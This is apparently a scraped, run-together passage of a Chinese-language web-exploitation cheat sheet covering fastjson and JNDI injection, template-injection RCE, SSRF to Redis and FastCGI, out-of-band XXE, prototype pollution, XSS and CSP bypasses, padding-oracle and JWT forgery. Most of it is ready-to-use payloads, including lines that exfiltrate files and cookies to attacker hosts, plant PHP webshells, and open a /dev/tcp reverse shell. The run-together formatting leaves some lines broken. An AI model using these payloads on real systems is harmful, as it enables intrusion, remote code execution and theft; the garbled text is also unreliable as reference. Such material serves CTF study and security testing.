setSystemProperties method 可以設定系統屬性fileName 可以傳入本地文件,也可以是遠端請求org.apache.commons.collections.enableUnsafeSerialization=true 繞反序列化限制org.yaml.snakeyaml.Yaml
load method 透過 SPI 載入遠端 jar/class 來 RCEorg.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory
SystemConfiguration 修改系統屬性${jndi:ldap://evil.com/payload} (same as normal jndi injection)${jndi:ldap://${sys:java.version}.dns.evil.com/a} (leak java version by dns oob)
${sys:user.name}${sys:os.name}${sys:os.arch}${java:os}${env:USERNAME}${web:rootDir}org.springframework.transaction.jta.JtaTransactionManager#readObject
oracle.jdbc.rowset.OracleCachedRowSet#getConnectioncom.sun.rowset.JdbcRowSetImplparse()parseObject()parseArray(){"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.com"}}{{"@type":"java.net.URL","val":"http://dnslog.com"}:"a"}{"@type" : "com.sun.rowset.JdbcRowSetImpl","dataSourceName" : "ldap://kaibro.tw:1389/evil","autoCommit" : true}{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["yv66vgA...JAAk="],"_name": "kaibro","_tfactory": {},"_outputProperties": {},}L & ;){"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:23457/Exploit","autoCommit":true}L & ; 兩次){"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:23457/Exploit","autoCommit":true}[){"@type":"[com.sun.rowset.JdbcRowSetImpl"[,{"dataSourceName":"ldap://127.0.0.1:23457/Exploit","autoCommit":true}{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:23457/Exploit"}}{"a": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "b": {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://localhost:1389/Exploit", "autoCommit": true}}Server-Side Template Injection

{{ 7*'7' }}
497777777<%= 7*7 %>
49Dump all used classes
{{ ''.__class__.__mro__[2].__subclasses__() }} Read File
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}Write File
{{''.__class__.__mro__[2].__subclasses__()[40]('/var/www/app/a.txt', 'w').write('Kaibro Yo!')}}RCE
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
{{ config['RUNCMD']('cat flag',shell=True) }}RCE (another way)
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls').read()}}Python3 RCE
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
過濾中括號
__getitem__{{''.__class__.__mro__.__getitem__(2)}}
{{''.__class__.__mro__[2]}}過濾{{ or }}
{%%}過濾.
{{''.__class__}}
{{''['__class__']}}{{''|attr('__class__')}}過濾Keyword
\xff 形式去繞{{''["\x5f\x5fclass\x5f\x5f"]}}用request繞
{{''.__class__}}
{{''[request.args.kaibro]}}&kaibro=__class__{{['id']|map('passthru')}}{{['id']|filter('system')}}{{app.request.query.filter(0,'curl${IFS}kaibro.tw',1024,{'options':'system'})}}{{_self.env.setCache("ftp://attacker.net:21")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{'/etc/passwd'|file_excerpt(30)}}{{constant('Twig\\Environment::VERSION')}}__${T(java.lang.Runtime).getRuntime().availableProcessors()}__::..x__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x__*{new.java.lang.String(new.java.lang.ProcessBuilder('ls', '-al').start().getInputStream().readAllBytes())}__::.$__|{springRequestContext.getClass().forName("org.yaml.snakeyaml.Yaml").newInstance().load(thymeleafRequestContext.httpServletRequest.getParameter("a"))}|__(xx=id)?a=!!org.springframework.context.support.FileSystemXmlApplicationContext ["https://thegrandpewd.pythonanywhere.com/pwn.bean"]__*{new.java.lang.String(new.java.lang.ProcessBuilder('/readflag', 'give','me','the','flag').start().getInputStream().readAllBytes())}__::.${"freemarker.template.utility.Execute"?new()("calc")}${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()}{{87}}{{.}}{{"meow"|print}}{{"<script>alert(/xss/)</script>"}}{{ .MyFunc "arg1" "arg2" }}
MyFunc 函數{{.File "/etc/passwd"}}{{.Echo.Filesystem.Open "/etc/passwd"}}{{.Echo.Static "/meow" "/"}}{{ $x := .Echo.Filesystem.Open "/flag" }} {{ $x.Seek 1 0 }} {{ .Stream 200 "text/plain" $x }} (by @nyancat){{ (.Echo.Filesystem.Open "/flag").Read (.Get "template") }} {{ .Get "template" }} (by @maple3142){{ $f := .Echo.Filesystem.Open "/flag" }} {{ $buf := .Get "template" }} {{ $f.Read $buf }} {{ $buf } (by @Ocean){{ 7*7 }} => 49{{ this }}{{ this.toString() }}{{ constructor.toString() }}{{ constructor.constructor('alert(1)')() }} 2.1 v1.0.1-v1.1.5{{ a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')() }} 2.1 v1.0.1-v1.1.5{{ toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor) }} 2.3 v1.2.19-v1.2.23{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}} v1.2.24-v1.2.29{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}} v1.3.20{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} v1.4.0-v1.4.9{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}} v1.5.0-v1.5.8{{ [].pop.constructor('alert(1)')() }} 2.8 v1.6.0-1.6.6{{constructor.constructor('alert(1)')()}}%
%(passowrd)s 即可偷到密碼:userdata = {"user" : "kaibro", "password" : "ggininder" }
passwd = raw_input("Password: ")
if passwd != userdata["password"]:
print ("Password " + passwd + " is wrong for user %(user)s") % userdata
f
a="gg"b=f"{a} ininder"
>>> gg ininderf"{os.system('ls')}"http://blog.portswigger.net/2015/08/server-side-template-injection.html
Webhook
From XXE to SSRF
<!ENTITY xxe SYSTEM "http://192.168.1.1/secret">PDF generator / HTML renderer
<iframe src="file:///C:/Windows/System32/drivers/etc/hosts>Open Graph
<meta property="og:image" content="http://kaibro.tw/ssrf">SQL Injection
?id=1 union select 1,2,UTL_HTTP.request('http://10.0.0.1/secret') from dualSVG parsing
<?xml version="1.0" encoding="UTF-8" standalone="no"?><svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><image height="200" width="200" xlink:href="http://<EXAMPLE_SERVER>/image.jpeg" /></svg>ImageTragick
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context
HTTPoxy
Proxy 代入成環境變數 HTTP_ProxyProxy: http://evil.com:12345/XSLT
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://yourserver.com/anything
#EXT-X-ENDLIST
127.0.0.1
127.00000.00000.0001
localhost
127.0.1
127.1
0.0.0.0
0.0
0
::1
::127.0.0.1
::ffff:127.0.0.1
::1%1
127.12.34.56 (127.0.0.1/8)
127.0.0.1.xip.io
http://2130706433 (decimal)
http://0x7f000001
http://017700000001
http://0x7f.0x0.0x0.0x1
http://0177.0.0.1
http://0177.01.01.01
http://0x7f.1
http://[::]
http://ⓀⒶⒾⒷⓇⓄ.ⓉⓌhttp://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ10.0.0.0/8172.16.0.0/12192.168.0.0/16127.0.0.1:80 => OK127.0.0.1:87 => Timeout127.0.0.1:9487 => Timeoutfile protocol
file:///etc/passwdfile:///proc/self/cmdline
file:///proc/self/exe
file:///proc/self/environ
curl file://google.com/etc/passwd
netdoc 亦可)Libreoffice CVE-2018-6871
WEBSERVICE 讀本地檔案,e.g./etc/passwd=COM.MICROSOFT.WEBSERVICE("http://kaibro.tw/"&COM.MICROSOFT.WEBSERVICE("/etc/passwd"))gopher://127.0.0.1:5278/xGG%0d%0aININDERStruts2
action:、redirect:、redirectAction:index.do?redirect:${new java.lang.ProcessBuilder('id').start()}ElasticSearch
9200Redis
6379 FLUSHALL
SET myshell "<?php system($_GET['cmd']) ?>"
CONFIG SET DIR /www
CONFIG SET DBFILENAME shell.php
SAVE
QUIT
gopher://127.0.0.1:6379/_FLUSHALL%0D%0ASET%20myshell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0D%0ACONFIG%20SET%20DIR%20%2fwww%2f%0D%0ACONFIG%20SET%20DBFILENAME%20shell.php%0D%0ASAVE%0D%0AQUITFastCGI
<?php header( "Location: gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%00%01%04Zh%00%8b%00%00%0E%03REQUEST_METHODGET%0F%0FSCRIPT_FILENAME/www//index.php%0F%16PHP_ADMIN_VALUEallow_url_include%20=%20On%09%26PHP_VALUEauto_prepend_file%20=%20http://kaibro.tw/x%01%04Zh%00%00%00%00%01%05Zh%00%00%00%00" );<?php system($_GET['cmd']); ?>/forum.php?mod=ajax&action=downremoteimg&message=[img]http://kaibro.tw/302.php?.jpg[/img]MySQL
gopher://127.0.0.1:3306/_<PAYLOAD>MSSQL
Tomcat
tomcat-users.xml 讀,或是踹預設密碼Docker
docker -H tcp://ip xxxxImageMagick - CVE-2016-3718
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context
$ convert ssrf.mvg out.pngcurl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=XXXXXXXXXXXXXXXXXXX"curl "https://www.googleapis.com/storage/v1/b?project=<your_project_id>" -H "Authorization: Bearer ya29..." (list buckets)Metadata: true headerSECCON 2017 SqlSRF:
127.0.0.1 %0D%0AHELO sqlsrf.pwn.seccon.jp%0D%0AMAIL FROM%3A %3Ckaibrotw%40gmail.com%3E%0D%0ARCPT TO%3A %3Croot%40localhost%3E%0D%0ADATA%0D%0ASubject%3A give me flag%0D%0Agive me flag%0D%0A.%0D%0AQUIT%0D%0A:25/
dict://evil.com:5566
$ nc -vl 5566
Listening on [0.0.0.0] (family 0, port 5278)
Connection from [x.x.x.x] port 5566 [tcp/*] accepted (family 2, sport 40790)
CLIENT libcurl 7.35.0
-> libcurl version
sftp://evil.com:5566
$ nc -vl 5566
Listening on [0.0.0.0] (family 0, port 5278)
Connection from [x.x.x.x] port 5278 [tcp/*] accepted (family 2, sport 40810)
SSH-2.0-libssh2_1.4.2
-> ssh version
tftp://evil.com:5566/TESTSSRF Bible:
https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit
Testing Payload:
https://github.com/cujanovic/SSRF-Testing
<!DOCTYPE kaibro[
<!ENTITY param "hello">
]>
<root>¶m;</root>
libxml2.9.0 以後,預設不解析外部實體simplexml_load_file() 舊版本中預設解析實體,但新版要指定第三個參數 LIBXML_NOENTSimpleXMLElement is a class in PHP
<!DOCTYPE kaibro[
<!ENTITY xxe SYSTEM "http://kaibro.tw/xxe.txt">
]>
<root>&xxe;</root>
<!DOCTYPE kaibro[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!DOCTYPE kaibro[
<!ENTITY xxe SYSTEM "\\12.34.56.78">
]>
<root>&xxe;</root>
<!DOCTYPE kaibro[
<!ENTITY % remote SYSTEM "http://kaibro.tw/xxe.dtd">
%remote;
]>
<root>&b;</root>
xxe.dtd: <!ENTITY b SYSTEM "file:///etc/passwd">
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/xxe/test.php">
<!ENTITY % remote SYSTEM "http://kaibro.tw/xxe.dtd">
%remote;
%all;
%send;
]>
xxe.dtd:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://kaibro.tw/?a=%file;'>">
把特殊字元塞進 CDATA 解決無法讀取問題
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM "http://kaibro.tw/cdata.dtd">
%dtd;
%all;
]>
<root>&f;</root>
cdata.dtd:
<!ENTITY % file SYSTEM "file:///var/www/html/flag.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY f '%start;%file;%end;'>">
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE ernw [
<!ENTITY xxe SYSTEM "phar:///var/www/html/images/gginin/xxxx.jpeg" > ]>
<svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-family="Verdana" font-size="16" x="10" y="40">&xxe;</text>
</svg>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message[
<!ELEMENT message ANY >
<!ENTITY % NUMBER '<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%NUMBER;
]>
<message>a</message>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % dtd PUBLIC "-//OXML/XXE/EN" "http://127.0.0.1:8080/ftp.dtd">
%dtd;%ftp;%send;
]>
<ANY>xxe</ANY>
ftp.dtd:
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % ftp "<!ENTITY % send SYSTEM 'ftp://fakeuser:%file;@127.0.0.1:2121'>">
or
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % ftp "<!ENTITY % send SYSTEM 'ftp://fakeuser:pass@127.0.0.1:2121/%file;'>">
正常 OOB XXE 遇到檔案內容有 \n 會爛
但 Java 環境下,部分版本透過 FTP 不會被影響:
<7u141-b00 or <8u131-b09: 不受檔案中 \n 的影響>jdk8u131: 能建立 FTP 連線,外帶檔案內容中含 \n 則拋出異常>jdk8u232: 不能建立 FTP 連線,若 url 中含有 \n 則抛出異常<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://kaibro.tw:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>
<?xml version="1.0" encoding="UTF-8"?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="http://kaibro.tw/file.xml"></xi:include>
</root>
Read local file:
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
goodshit = {}
goodshit.__proto__.password = "ggininder"
user = {}
console.log(user.password)
# => ggininder
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
# => 1 2
o3 = {}
console.log(o3.b)
# => 2
CVE-2019-11358
$.extendlet a = $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode); // true
SNYK-JS-LODASH-608086
setWith(), set()setWith({}, "__proto__[test]", "123")set({}, "__proto__[test2]", "456")CVE-2020-8203
zipObjectDeep()zipObjectDeep(['__proto__.z'],[123])
console.log(z) => 123CVE-2019-10744
defaultsDeep(){"type":"test","content":{"prototype":{"constructor":{"a":"b"}}}}CVE-2018-16487 / CVE-2018-3721
merge(), mergeWith(), defaultsDeep()var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
_.merge({}, JSON.parse(malicious_payload));
const { exec, execSync, spawn, spawnSync, fork } = require('child_process');
// pollute
Object.prototype.env = {
NODE_DEBUG : 'require("child_process").execSync("touch pwned")//',
NODE_OPTIONS : '-r /proc/self/environ'
};
// method 1
fork('blank');
// method 2
spawn('node', ['blank']).stdout.pipe(process.stdout);
// method 3
console.log(spawnSync('node', ['blank']).stdout.toString());
// method 4
console.log(execSync('node blank').toString());
({}).__proto__.NODE_OPTIONS = '--require=./malicious-code.js';
console.log(spawnSync(process.execPath, ['subprocess.js']).stdout.toString());
({}).__proto__.NODE_OPTIONS = `--experimental-loader="data:text/javascript,console.log('injection');"`;
console.log(spawnSync(process.execPath, ['subprocess.js']).stdout.toString());
Object.prototype.shell,則 spawn 任意指令都可 RCEconst child_process = require('child_process');
Object.prototype.shell = 'node';
Object.prototype.env = {
NODE_DEBUG : '1; throw require("child_process").execSync("touch pwned").toString()//',
NODE_OPTIONS : '-r /proc/self/environ'
};
child_process.execSync('id');
補充:蓋環境變數的各種玩法 (https://blog.p6.is/Abusing-Environment-Variables/)
Example
a = {}
a["__proto__"]["exports"] = {".":"./pwn.js"}
a["__proto__"]["1"] = "./"
require("./index.js")
高版本 gadget
{
"__proto__":{
"data":{
"name":"./usage",
"exports":"./preinstall.js"
},
"path":"/opt/yarn-v1.22.19/",
"shell":"sh",
"contextExtensions":[
{
"process":{
"env":{
"npm_config_global":"1",
"npm_execpath":""
},
"execPath":"wget\u0020http://1.3.3.7/?p=$(/readflag);echo"
}
}
],
}
}
Example
outputFunctionNameObject.prototype.outputFunctionName = "x;process.mainModule.require('child_process').exec('touch pwned');x";res.render('index.ejs', req.body);req.body 會污染到 options 進而污染到 outputFunctionName (HPP)<script>alert(1)</script><svg/onload=alert(1)><img src=# onerror=alert(1)><a href="javascript:alert(1)">g</a><input type="text" value="g" onmouseover="alert(1)" /><iframe src="javascript:alert(1)"></iframe><script>alert(1)</script>'"><script>alert(1)</script><img/src=@ onerror=alert(1)/>'"><img/src=@ onerror=alert(1)/>' onmouseover=alert(1) x='" onmouseover=alert(1) x="`onmouseover=alert(1) x=`javascript:alert(1)////(javascript 註解) 被過濾時,可以利用算數運算符代替
<a href="javascript:alert(1)-abcde">xss</a><ScRipT><img SrC=#>src="#"src='#'src=#src=`#` (IE)<svg/onload=alert(1)>
<svg/onload=alert(1)> (16進位) (分號可去掉)<img/src='1'/onerror=alert(0)><script>onerror=alert;throw 1</script><script>{onerror=alert}throw 1</script><script>throw onerror=alert,1</script><script>throw[onerror]=[alert],1</script><script>var{a:onerror}={a:alert};throw 1</script><script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script><script>new FunctionX${document.location.hash.substr1}</script>特殊標籤
<title>, <textarea>, <iframe>, <plaintext>, <noscript>...innerHTML
<script> 不會被 trigger<img src=@ onerror=alert()><svg> trick
<svg><svg onload=alert()>Protocol
<a href=javascript:alert(1) >xss</a><iframe src="javascript:alert(1)"><a href="javascript://%0aalert(1)">XSS</a><script>location.protocol='javascript'</script>
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>xss</a>Javascript 自解碼機制
<input type="button" onclick="document.write('<img src=@ onerror=alert(1) />')" />alert(1),因為 javascript 位於 HTML 中,在執行 javascript 前會先解碼 HTML 編碼<script> 中的 javascript,不會解碼 HTML 編碼&#xH;(hex), &#D;(dec) 形式Javascript 中有三套編碼/解碼函數
一些 alert(document.domain) 的方法
(alert)(document.domain);al\u0065rt(document.domain);al\u{65}rt(document.domain);[document.domain].map(alert);window['alert'](document.domain);alert.call(null,document.domain);alert.bind()(document.domain);Some Payload
<svg/onload=alert(1);alert(2)><svg/onload="alert(1);alert(2)"><svg/onload="alert(1);alert(2)">
;; 改成 ; 會失敗<svg/onload=\u0061\u006c\u0065\u0072\u0074(1)>
\u 形式只能用在 javascript,例如 onload 的 a 改成 \u0061 會失敗<title><a href="</title><svg/onload=alert(1)>
<svg><script>prompt(1)</script>
<svg>,HTML Entities 會被解析<svg> 會失敗,<script>不會解析Entities<? foo="><script>alert(1)</script>"><! foo="><script>alert(1)</script>"></ foo="><script>alert(1)</script>"><% foo="><script>alert(1)</script>">Markdown XSS
[a](javascript:prompt(document.cookie))[a](j a v a s c r i p t:prompt(document.cookie))[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)[a](javascript:window.onerror=alert;throw%201)SVG XSS
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
<iframe srcdoc="<svg/onload=alert(document.domain)>">
.wave 檔 (會檢查 signatures)
RIFF`....WAVE...`
alert(1);
function RIFF(){}
<script src="uploads/this_file.wave">:~:text=xxxhttps://csp-evaluator.withgoogle.com/
base
<base href ="http://kaibro.tw/">script nonce
<p>可控內容<p>
<script src="xxx" nonce="AAAAAAAAAAA"></script>
插入<script src="http//kaibro.tw/uccu.js" a="
<p><script src="http//kaibro.tw/uccu.js" a="<p>
<script src="xxx" nonce="AAAAAAAAAAA"></script>
Script Gadget
<div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'></div><div data-role=popup id='--><script>alert(1)</script>'></div><a id=CLOSURE_BASE_PATH href=http://attacker/xss></a><div data-dojo-type="dijit/Declaration" data-dojo-props="}-alert(1)-{"><div type=underscore/template> <% alert(1) %> </div>google analytics ea
known jsonp endpoint
https://accounts.google.com/o/oauth2/revoke?callback=alert(1)https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1PHP Warnings
header() is called, the call will be ignored because the response was already sent to the user and headers must be sent first.$_GET / $_POST: maximum 1000 parametersDNS prefetch
<link rel="dns-prefetch" href="https://data.example.com">WebRTC
default-src 'none'; script-src 'unsafe-inline';async function a(){
c={iceServers:[{urls:"stun:{{user.id}}.x.cjxol.com:1337"}]}
(p=new RTCPeerConnection(c)).createDataChannel("d")
await p.setLocalDescription()
}
a();
Tool
text/rdf / application/rdf+xmltext/vttContent-* 屬性Content-language: en
Content-type: text/html
Body:----foo----
<script>
fetch('http://orange.tw/?' + escape(document.cookie))
</script>
----foo----
$.getJSON / $.ajax XSS
http://kaibro.tw/x.php?callback=anythinga%2findex.php 當成一個檔案a/index.php/test.php 中有 <link href="1/" ...>/1/index.php 給 ?query= 參數,會直接輸出該參數內容/1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php 就會讓背景變紅色
/test.php/1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php
/1/?query={}*{background-color:red}/../../1/<input type='hidden' name='csrf' value='2e3d04bf...'>input[name=csrf][value^="2"]{background: url(http://kaibro.tw/2)}input[name=csrf][value^="2e"]{background: url(http://kaibro.tw/2e)}window.frames.length 來判斷
#做請求,正常不會再觸發onload事件chrome-error://chromewebdata/#history.length判斷<link rel=prerender href="victim.com"><form id=test1></form>
<form name=test2></form>
<script>
console.log(test1); // <form id=test1></form>
console.log(test2); // <form name=test2></form>
console.log(document.test1); // undefined
console.log(document.test2); // <form name=test2></form>
</script>
id 屬性被當成全域變數name 屬性被當成 document 屬性<form name="getElementById"></form>
<form id="form"></form>
<script>
console.log(document.getElementById("form")); // Error
</script>
<script>
console.log("I'll be executed!");
</script>
這裡第一個 script block 因為錯誤被跳過,第二個 script block 依舊會執行 (常拿來繞檢查)
toString 問題
<form id=test1><input name=test2></form>
<script>
alert(test1.test2); // "[object HTMLInputElement]"
</script>
<a> 的 href 可以解決 toString 問題: <a id=test1 href=http://kaibro.tw>
alert(test1); => http://kaibro.tw<form id=test1><a name=test2 href=http://kaibro.tw></form> 依舊有問題
alert(test1.test2); => undefined<a id=test1>click!</a>
<a id=test1>click2!</a>
<script>
console.log(window.test1); // <HTMLCollection(2) [a#test1, a#test1, test1: a#test1]
</script>
name 屬性也會直接變成 HTMLCollection 的屬性:
<a id="test1"></a>
<a id="test1" name="test2" href="x:alert(1)"></a>
<script>
alert(window.test1.test2); // x:alert(1)
</script>
Element.attachShadow() 可以將一個 Shadow root 附加到一個元素上
{mode:"open"} 或是 {mode:"closed"}
Elements of the shadow root are accessible from JavaScript outside the rootDenies access to the node(s) of a closed shadow root from JavaScript outside itwindow.find + -webkit-user-modify + document.execCommand
-webkit-user-modify:read-write 屬性,可以讓 shadow DOM 做到 contenteditable 效果window.find() 可以 focus shadow DOM 中的內容document.execCommand() 去插入 HTML,透過 svg 執行 JS 取得節點
document.execCommand('insertHTML',false,'<svg/onload=alert(this.parentNode.innerHTML)>')php 7.1.0 後 rand() 和 srand() 已經等同 mt_rand() 和 mt_srand()
php > 4.2.0 會自動對 srand() 和 mt_srand() 播種
rand() 都 seed可以通過已知的 random 結果,去推算隨機數種子,然後就可以推算整個隨機數序列
實際應用上可能會碰到連上的不是同個 process,可以用 Keep-Alive 來確保連上同個 php process (只會 seed 一次)
7.1 以前 rand() 使用 libc random(),其核心為: state[i] = state[i-3] + state[i-31]
rand() alias 成 mt_rand(),採用的是 Mersenne Twister 算法Example: HITCON 2015 - Giraffe’s Coffee
user=kaibro;role=user
| 用來區隔 Block)
user=aaa|admin;ro|le=useruser=aaa|aa;role=|useruser=aaa|aa;role=|admin;roECB(K, A + B + C) 的運算結果可知
...bbbb bbaa aaaa aaaa cccc ......???? ???? 5678 5678 ???? ...ECB(K, "aa...a" + C[0]) 這個 Block 的內容A XOR B = CXA XOR C XOR X(A XOR C XOR X) XOR B = XPKCS#7
AA AA AA AA AA AA AA 01AA AA AA AA AA AA 02 02AA AA AA AA AA 03 03 0308 08 08 08 08 08 08 08AA AA AA AA AA AA 01 01AA AA 02 02 02 02 02 02A||B 去解密 (A, B 是密文 Block)D(B) XOR AD(B) 的值
01 結尾02 02 結尾,可以調整一下 A 倒數第 2 ByteD(B)[-1] XOR A[-1] = 01D(B)[-1] = A[-1] XOR 01D(B) XOR C 就能得到明文 ( C 為前一塊真正的密文)md5, sha1, sha256...0x80 + 一堆 0x00+8 bytes 的長度md5(secret+message)secret長度message內容md5(secret+message+padding+任意字串)md5(secret+message) 的值message 的值secert長度md5(secret+message+padding+任意字串) 和 message+padding+任意字串 噴給你Information leak
文件解析漏洞
cgi.fix_pathinfo=1<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>kaibro.jpg/.php生成shell.phpAWS常見漏洞
nslookup 87.87.87.87s3-website-us-west-2.amazonaws.com.bucketname.s3.amazonaws.comaws s3 ls s3://bucketname/ --region regionnameaws sync s3://bucketname/ localdir --region regionnameJWT (Json Web Token)
重置算法 None
import jwt; print(jwt.encode({"userName":"admin","userRoot":1001}, key="", algorithm="none"))[:-1]降級算法
import jwt
public = open('public.pem', 'r').read() # public key
prin(jwt.encode({"user":"admin","id":1}, key=public, algorithm='HS256'))
暴力破解密鑰
./jwtcrack eyJhbGci....kid 參數 (key ID)
"kid" : "/etc/passwd""kid" : "key11111111' || union select 'secretkey' -- ""/path/to/key_file|whoami"jku
敏感訊息洩漏
jwt.io
常見 Port 服務
php -i | grep "Loaded Configuration File"
HTTP Method
curl -i -X OPTIONS 'http://evil.com/'if(request.method == get) {...} else {...}GET 請求,也會自動接受 HEAD (ref)ShellShock
() { :; }; echo vulnerable() { :a; }; /bin/cat /etc/passwd() { :; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'X-forwarded-for 偽造來源IP
Client-IPX-Client-IPX-Real-IPX-Remote-IPX-Remote-AddrX-HostX-Forwarded-For header,可以讓真實 IP 被包在 IP list 中間 (Spoofing)DNS Zone Transfer
dig @1.2.3.4 abc.com axfr
1.2.3.4abc.comIIS 短檔名列舉
administrator 可以簡寫成 admini~1webClient.DownloadString("http://../inetpub/wwwroot/aspowertools/FLAGFL~1.MAS")java -jar iis_shortname_scanner.jar 2 20 http://example.com/folder/ASP.net Cookieless DuoDrop (CVE-2023-36899 & CVE-2023-36560)
/WebForm/(S(X))/prot/(S(X))ected/target1.aspx/WebForm/(S(X))/b/(S(X))in/target2.aspx/WebForm/pro/(S(X))tected/target1.aspx/(S(X))//WebForm/b/(S(X))in/target2.aspx/(S(X))//(S(x))/b/(S(x))in/ASPowerTools.dll/(S(X))/prot/(S(X))ected/login.aspxNodeJS unicode failure
NN => ..
N 即 \xff\x2e特殊的 CRLF Injection 繞過
%E5%98%8AU+560A0x56, 0x0AMySQL utf8 v.s. utf8mb4
Proxy 相關
